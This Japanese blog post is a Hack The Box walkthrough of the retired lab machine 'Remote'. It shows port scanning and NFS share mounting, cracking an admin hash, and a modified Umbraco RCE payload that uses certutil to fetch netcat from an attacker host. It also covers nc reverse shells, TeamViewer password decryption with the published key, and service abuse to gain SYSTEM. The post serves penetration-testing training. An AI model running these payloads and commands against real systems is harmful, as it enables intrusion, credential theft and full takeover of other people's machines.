LoginSignup
3
1

More than 3 years have passed since last update.

【HackTheBox】Remote - Walkthrough -

Last updated at Posted at 2020-09-06

本稿では、Hack The Boxにて提供されている Retired Machines の「Remote」に関する攻略方法(Walkthrough)について検証します。

Hack The Boxに関する詳細は、「Hack The Boxを楽しむためのKali Linuxチューニング」を併せてご確認ください。

マシンの詳細

Remote.jpeg

エグゼクティブサマリー

ツール

  • nmap
  • nfs-common
  • showmount
  • Hash ToolKit
  • PowerShell
  • invoke-webrequest
  • winPEASx64
  • Get-ItemProperty
  • Get-ItemPropertyValue
  • CyberChef
  • Evil-WinRM

詳細手順

ネットワークサービススキャン

nmap

IPアドレス 10.10.10.180remote.htb として、 /etc/hosts に追加します。その上で、nmapを使用し、ポートスキャンを実行します。

kali@kali:~$ nmap -Pn -T4 -A -v remote.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-17 02:13 EDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 02:13
Completed NSE at 02:13, 0.00s elapsed
Initiating NSE at 02:13
Completed NSE at 02:13, 0.00s elapsed
Initiating NSE at 02:13
Completed NSE at 02:13, 0.00s elapsed
Initiating Connect Scan at 02:13
Scanning remote.htb (10.10.10.180) [1000 ports]
Discovered open port 139/tcp on 10.10.10.180
Discovered open port 111/tcp on 10.10.10.180
Discovered open port 135/tcp on 10.10.10.180
Discovered open port 445/tcp on 10.10.10.180
Discovered open port 80/tcp on 10.10.10.180
Increasing send delay for 10.10.10.180 from 0 to 5 due to 13 out of 31 dropped probes since last increase.
Discovered open port 21/tcp on 10.10.10.180
Increasing send delay for 10.10.10.180 from 5 to 10 due to max_successful_tryno increase to 5
Discovered open port 2049/tcp on 10.10.10.180
Warning: 10.10.10.180 giving up on port because retransmission cap hit (6).
Completed Connect Scan at 02:14, 54.64s elapsed (1000 total ports)
Initiating Service scan at 02:14
Scanning 7 services on remote.htb (10.10.10.180)
Completed Service scan at 02:15, 60.81s elapsed (7 services on 1 host)
NSE: Script scanning 10.10.10.180.
Initiating NSE at 02:15
NSE: [ftp-bounce] PORT response: 501 Server cannot accept argument.
Completed NSE at 02:15, 9.83s elapsed
Initiating NSE at 02:15
Completed NSE at 02:18, 170.50s elapsed
Initiating NSE at 02:18
Completed NSE at 02:18, 0.00s elapsed
Nmap scan report for remote.htb (10.10.10.180)
Host is up (0.19s latency).
Not shown: 990 closed ports
PORT     STATE    SERVICE       VERSION
21/tcp   open     ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp   open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Home - Acme Widgets
111/tcp  open     rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open     msrpc         Microsoft Windows RPC
139/tcp  open     netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open     microsoft-ds?
720/tcp  filtered unknown
1148/tcp filtered elfiq-repl
2049/tcp open     mountd        1-3 (RPC #100005)
9011/tcp filtered d-star
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 1m41s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-08-17T06:17:09
|_  start_date: N/A

NSE: Script Post-scanning.
Initiating NSE at 02:18
Completed NSE at 02:18, 0.00s elapsed
Initiating NSE at 02:18
Completed NSE at 02:18, 0.00s elapsed
Initiating NSE at 02:18
Completed NSE at 02:18, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 296.69 seconds

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

ポート番号 サービス バージョン
21/tcp ftp Microsoft ftpd
80/tcp http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
445/tcp microsoft-ds?
2049/tcp mountd 1-3 (RPC #100005)

NFSサービスのスキャン

kali@kali:~$ sudo apt install nfs-common

showmountコマンドにて、/site_backupsディレクトリをローカルマシンにマウントできることが解りました。

kali@kali:~$ sudo showmount -e 10.10.10.180
Export list for 10.10.10.180:
/site_backups (everyone)

/site_backupsディレクトリをローカルマシンの/mntディレクトリにマウントします。

kali@kali:~$ sudo mount -t nfs remote.htb:/site_backups /mnt

mnt.png

Web.configの内容を確認します。結果、このサイトで使用されているCMSが「Umbraco CMS 7.12.4」であることが特定できました。

スクリーンショット 2020-08-17 16.37.41.png

Firefoxhttp://10.10.10.180/umbracoへアクセスします。UsernamePasswordの組について標準的なアカウントで試行しましたが、ログインに失敗しました。

firefox.png

再び、/site_backupsディレクトリを探索します。データベースファイルであるUmbraco.sdfの内容が気になります。
adminのSHA1ハッシュ値を取得することができました。

kali@kali:/mnt/App_Data$ ls
cache  Logs  Models  packages  TEMP  umbraco.config  Umbraco.sdf
kali@kali:/mnt/Appstrings Umbraco.sdf | grep admin
Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f

Hash ToolKit」のサイトでSHA1ハッシュ値「b8be16afba8c314ad33d812f22a04991b90e2aaa」の値を Decrypt します。
結果、次のとおりでした。

Hash ToolKit.png

アルゴリズム ハッシュ値 Decrypted
SHA1 b8be16afba8c314ad33d812f22a04991b90e2aaa baconandcheese

再び、Firefoxhttp://10.10.10.180/umbracoへアクセスします。ユーザー名をadmin@htb.local、パスワードをbaconandcheeseを指定します。ログインに成功しました。
login.png
左側ペインの[Media]項目から任意のファイルをアップロードすることが可能です。
media.png

アクセス権の取得

Umbraco CMS 7.12.4には、リモートコード実行の脆弱性(EDB-ID:46153)を抱えていることが知られています。

この脆弱性を悪用し、リバースシェルを確立する方法を検討します。

ペイロードの作成

オリジナルの46153.pyにおけるペイロードは、CALC.EXEコマンドが起動するのみです。
そこで、/c certutil -urlcache -split -f http://10.10.14.13:8081/nc.exe c:/windows/temp/nc.exeコマンド構文を実行し、nc.exeremote.htb上にダウンロードします。

46153.py
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = "/c certutil -urlcache -split -f http://10.10.14.18:8081/nc64.exe c:/windows/temp/nc64.exe"; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
 proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.Arguments = cmd;\
 proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
 proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
 </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
 </xsl:template> </xsl:stylesheet> ';

login = "admin@htb.local";
password="baconandcheese";
host = "http://10.10.10.180";

upload_nc.png

ユーザーシェルの取得

remote.htbにダウンロードしたnc64.exeを起動し、リバースシェルを確立します。

Kali Linux上でリバースシェルを立ち上げておきます。

kali@kali:~$ nc -lnvp 4444
listening on [any] 4444 ...

46153.pyコードを改変し、remote.htbnc64.exeを起動します。

46153_r2.py
{ string cmd = "/c c:/windows/temp/nc64.exe 10.10.14.18 4444 -e cmd.exe";

46153_r2.pyコードを実行し、リバースシェルを確立します。

kali@kali:~$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.180] 49705
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

リバースシェルにより、iis apppool\defaultapppool権限のシェルが確立されています。

c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool

userフラグの取得

user.txtフラグを取得します。

c:\windows\system32\inetsrv>type c:\Users\Public\user.txt
type c:\Users\Public\user.txt
f87c{BLOCKED}4a84

特権昇格

システム探索

WinPEAS

WinPEAS - Windows Privilege Escalation Awesome Scripts」ツールを使ってシステム探索を行います。

c:\Users\Public>powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Public> invoke-webrequest -uri http://10.10.14.18:8081/winPEASx64.exe -outfile wp.exe
invoke-webrequest -uri http://10.10.14.18:8081/winPEASx64.exe -outfile wp.exe
PS C:\Users\Public> exit
exit

c:\Users\Public>wp.exe

Services Information項目として、TeamViewer7が列挙されました。

    TeamViewer7(TeamViewer GmbH - TeamViewer 7)["C:\Program Files (x86)\TeamViewer\Version7\TeamViewer_Service.exe"] - Auto - Running
    TeamViewer Remote Software

services.png

PowerUp.ps1

PowerUp.ps1」スクリプトを使ってシステム探索を行います。

PS C:\tmp> Import-Module c:\tmp\powerup.ps1
PS C:\tmp> .\powerup.ps1
PS C:\tmp> Invoke-AllChecks

Import-Module実行の際には、フルパスにてスクリプトの場所を指定してください。

[*] Checking service permissions...項目に注目します。
SYSTEM特権で実行されているUsoSvc(Update Orchestrator Service)の変更が可能であることに着目してください。

[*] Checking service permissions...


ServiceName   : UsoSvc
Path          : C:\Windows\system32\svchost.exe -k netsvcs -p
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart    : True

TeamViewerパスワードの復号

TeamViewerでは、パスワードがAES-128-CBCアルゴリズムによって暗号化された形式でWindowsレジストリに保存されていることが知られています。
また、その秘密鍵と初期化ベクトル(IV:initialization vector)は(CVE-2019-18988)にて明らかにされています。
すなわち、レジストリに記録されている値をもとに、パスワードを復号できる可能性があります。

種別
秘密鍵 0602000000a400005253413100040000
初期化ベクトル(IV) 0100010067244F436E6762F25EA8D704

そこで、PowerShellGet-ItemPropertyコマンドレット使い、HKLM:SOFTWARE\WOW6432Node\TeamViewer\Version7プロパティの値を取得してみます。

c:\>powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\> Get-ItemProperty -Path HKLM:SOFTWARE\WOW6432Node\TeamViewer\Version7
Get-ItemProperty -Path HKLM:SOFTWARE\WOW6432Node\TeamViewer\Version7


StartMenuGroup            : TeamViewer 7
InstallationDate          : 2020-02-20
InstallationDirectory     : C:\Program Files (x86)\TeamViewer\Version7
Always_Online             : 1
Security_ActivateDirectIn : 0
Version                   : 7.0.43148
ClientIC                  : 301094961
PK                        : {191, 173, 42, 237...}
SK                        : {248, 35, 152, 56...}
LastMACUsed               : {, 005056B9B73A}
MIDInitiativeGUID         : {514ed376-a4ee-4507-a28b-484604ed0ba0}
MIDVersion                : 1
ClientID                  : 1769137322
CUse                      : 1
LastUpdateCheck           : 1584564540
UsageEnvironmentBackup    : 1
SecurityPasswordAES       : {255, 155, 28, 115...}
MultiPwdMgmtIDs           : {admin}
MultiPwdMgmtPWDs          : {357BC4C8F33160682B01AE2D1C987C3FE2BAE09455B94A1919C4CD4984593A77}
Security_PasswordStrength : 3
PSPath                    : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\TeamViewer\Vers
                            ion7
PSParentPath              : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\TeamViewer
PSChildName               : Version7
PSDrive                   : HKLM
PSProvider                : Microsoft.PowerShell.Core\Registry

さらに、Get-ItemPropertyValueコマンドレットにて、HKLM:SOFTWARE\WOW6432Node\TeamViewer\Version7の値であるSecurityPasswordAESのデータを表示させます。

PS C:\> Get-ItemPropertyValue -LiteralPath 'HKLM:SOFTWARE\WOW6432Node\TeamViewer\Version7' -Name SecurityPasswordAES
Get-ItemPropertyValue -LiteralPath 'HKLM:SOFTWARE\WOW6432Node\TeamViewer\Version7' -Name SecurityPasswordAES
255
155
28
115
214
107
206
49
172
65
62
174
19
27
70
79
88
47
108
226
209
225
243
218
126
141
55
107
38
57
78
91

SecurityPasswordAESの値を取得することができました。

CyberChef

CyberChefを使い、SecurityPasswordAESの値からTeamViewerのパスワードの復号を試みます。

「区切り文字(delimiter)」を「改行コード(\n)」から「スペース記号」に置き換え見通しよくします。
Replace.png

255 155 28 115 214 107 206 49 172 65 62 174 19 27 70 79 88 47 108 226 209 225 243 218 126 141 55 107 38 57 78 91

10進数から16進数表記に変換します。
ToBase16.png

ff 9b 1c 73 d6 6b ce 31 ac 41 3e ae 13 1b 46 4f 58 2f 6c e2 d1 e1 f3 da 7e 8d 37 6b 26 39 4e 5b

スペース記号を取り除きます。
space replace.png

ff9b1c73d66bce31ac413eae131b464f582f6ce2d1e1f3da7e8d376b26394e5b

16進数表記に変換したSecurityPasswordAESの値を復号します。

TeamViewerの[Key, 秘密鍵][IV, 初期化ベクトル]を指定した TeamViewer Decryptレシピを使います。

TeamViewer_Decrypt.json
[
  { "op": "AES Decrypt",
    "args": [{ "option": "Hex", "string": "0602000000a400005253413100040000" }, { "option": "Hex", "string": "0100010067244F436E6762F25EA8D704" }, "CBC", "Hex", "Raw", { "option": "Hex", "string": "" }] }
]

CyberChef.png

TeamViewerのパスワードが!R3m0te!であることが特定できました。

!.R.3.m.0.t.e.!.................

特権シェルの取得

Evil-WinRMシェル

nmapコマンドにて、WinRMサービス(5985/tcp)の状況を確認します。結果、サービスが稼働していることが確認できます。

kali@kali:~$ nmap -p 5985 -A remote.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-05 06:03 EDT
Nmap scan report for remote.htb (10.10.10.180)
Host is up (0.091s latency).

PORT     STATE SERVICE VERSION
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.24 seconds

そこで、Evil-WinRMツールを介して、remote.htbサーバーで稼働しているWinRMサービスに接続し、インタラクティブなPowerShellを確立します。

Evil-WinRMツールとシステムの依存関係を解決し、リポジトリのクローンを作成します。

kali@kali:~$ sudo gem install winrm winrm-fs colorize stringio
kali@kali:~$ git clone https://github.com/Hackplayers/evil-winrm.git

remote.htbに対するリモートシェルの確立を行います。

ユーザー名 パスワード
Administrator !R3m0te!
kali@kali:~$ cd evil-winrm && ruby evil-winrm.rb -i 10.10.10.180 -u Administrator -p '!R3m0te!'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
remote\administrator

UsoSvcサービスの再構成

別の方法でSYSTEM特権のリバースシェルを確立することを検討します。

ここでは、UsoSvcサービスを再構成します。nc64.exeを起動しSYSTEM特権のリバースシェルを確立することが狙いです。

PS C:\tmp> Invoke-ServiceAbuse -ServiceName 'UsoSvc' -Command 'C:\Windows\temp\nc64.exe  -e cmd.exe 10.10.14.18 4444'

ServiceAbused Command                                               
------------- -------
UsoSvc        C:\Windows\temp\nc64.exe  -e cmd.exe 10.10.14.18 4444
kali@kali:~$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.180] 49705
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

rootフラグの取得

root.txtフラグを取得します。

*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         9/4/2020   1:15 AM             34 root.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
b642{BLOCKED}0384

参考情報

PowerUp.ps1

TeamViewer

CyberChef

Walkthrough

3
1
1

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
1